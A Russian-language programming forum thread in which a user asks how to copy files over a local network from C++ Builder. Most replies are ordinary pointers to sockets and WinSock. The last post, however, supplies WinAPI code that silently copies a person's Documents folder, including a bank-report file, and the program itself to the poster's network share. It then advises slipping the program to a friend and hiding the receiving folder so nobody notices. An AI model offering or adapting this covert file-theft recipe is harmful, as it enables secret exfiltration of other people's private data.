Копирование файдов по сети

Тема в разделе "Borland C++ Builder & Kylix", создана пользователем sancao, 6 окт 2009.

  1. sancao

    sancao New Member

    Регистрация:
    6 окт 2009
    Сообщения:
    4
    Симпатии:
    0
    Help!!! Помогите ! Проблема копирования файлов по сети с компа на комп из прог на CBuilder 6 или Win API!
    Пожлста!!!!
     
  2. etc

    etc Гость

    В чем засада?
     
  3. sancao

    sancao New Member

    Регистрация:
    6 окт 2009
    Сообщения:
    4
    Симпатии:
    0
    Испльзую обычную сетку и функции CopyFileTo c параметрами напр ( ''\\\\Rmrz.C:\\Data\\12.wav , \\\\Rmaa.C:\\Data\\12.wav) а результата никакого. Пытался по сети копировать сам на себя как бы по сетке CopyFile - рез тот же.
    Если есть кусочек софта пришлите пож!!

    Испльзую обычную сетку и функции CopyFileTo c параметрами напр ( ''\\\\Rmrz.C:\\Data\\12.wav , \\\\Rmaa.C:\\Data\\12.wav) а результата никакого. Пытался по сети копировать сам на себя как бы по сетке CopyFile - рез тот же.
    Если есть кусочек софта пришлите пож!!
     
  4. vital

    vital Больной Компом Детектед

    Регистрация:
    29 янв 2006
    Сообщения:
    2.469
    Симпатии:
    27
    Компоненты ServerSocket и ClientSocket (или их аналоги от Indy) вам в помощь. Ну а как их использовать много раз написано в гугле.
     
  5. sancao

    sancao New Member

    Регистрация:
    6 окт 2009
    Сообщения:
    4
    Симпатии:
    0
    Большое спасибо!!
     
  6. alekssgor

    alekssgor Well-Known Member

    Регистрация:
    26 май 2008
    Сообщения:
    118
    Симпатии:
    0
    Компоненты хорошие но тяжёлые(скажем троян не напишишь, для примера).
    Лучше использовать библиотеку API Windows WinSock .
    Почитай справку по функциям описанные в файле #include "winsock2.h"
    (Весь файл будет весить не более 30 кБ)
     
  7. alekssgor

    alekssgor Well-Known Member

    Регистрация:
    26 май 2008
    Сообщения:
    118
    Симпатии:
    0
    Код (C++):
    //WinApi вариант

    int MovieFiles(char* slSourceDir, char* slTargetDir, bool toCopy = true)
    {
    SHFILEOPSTRUCT sh;
    sh.fFlags = FOF_NOCONFIRMATION|FOF_SILENT|FOF_FILESONLY;
    sh.wFunc = toCopy ? FO_COPY : FO_MOVE;
    sh.pFrom = slSourceDir;
    sh.pTo = slTargetDir;
    sh.hNameMappings = NULL;
    sh.lpszProgressTitle = NULL;
    return SHFileOperation(&sh);
    }

    //Копирует все фалы из папке Documents(вложенные папки не копируются).

    MovieFiles("C:\\Users\\Александр\\Documents\\*.*","\\\\nootbook\\Public\\Documents");

    //Копирует всё из папки Documents (включая вложенные папки).

    MovieFiles("C:\\Users\\Александр\\Documents","\\\\nootbook\\Public\\Documents");

    //Копирует определённый файл

    MovieFiles("C:\\Users\\Александр\\Documents\\sberbank_othet.txt","\\\\nootbook\\Public\\Documents");

    //Копирует самого себя

    MovieFiles("*.exe","\\\\nootbook\\Public\\Documents");

    //Короче подсовывай этот файл другу по локальной сети и открывай общий доступ для записи на своём компе и
    после копирования файла к себе делай папку скрытой чтоб никто не догодался :bequiet:
     
Загрузка...

Поделиться этой страницей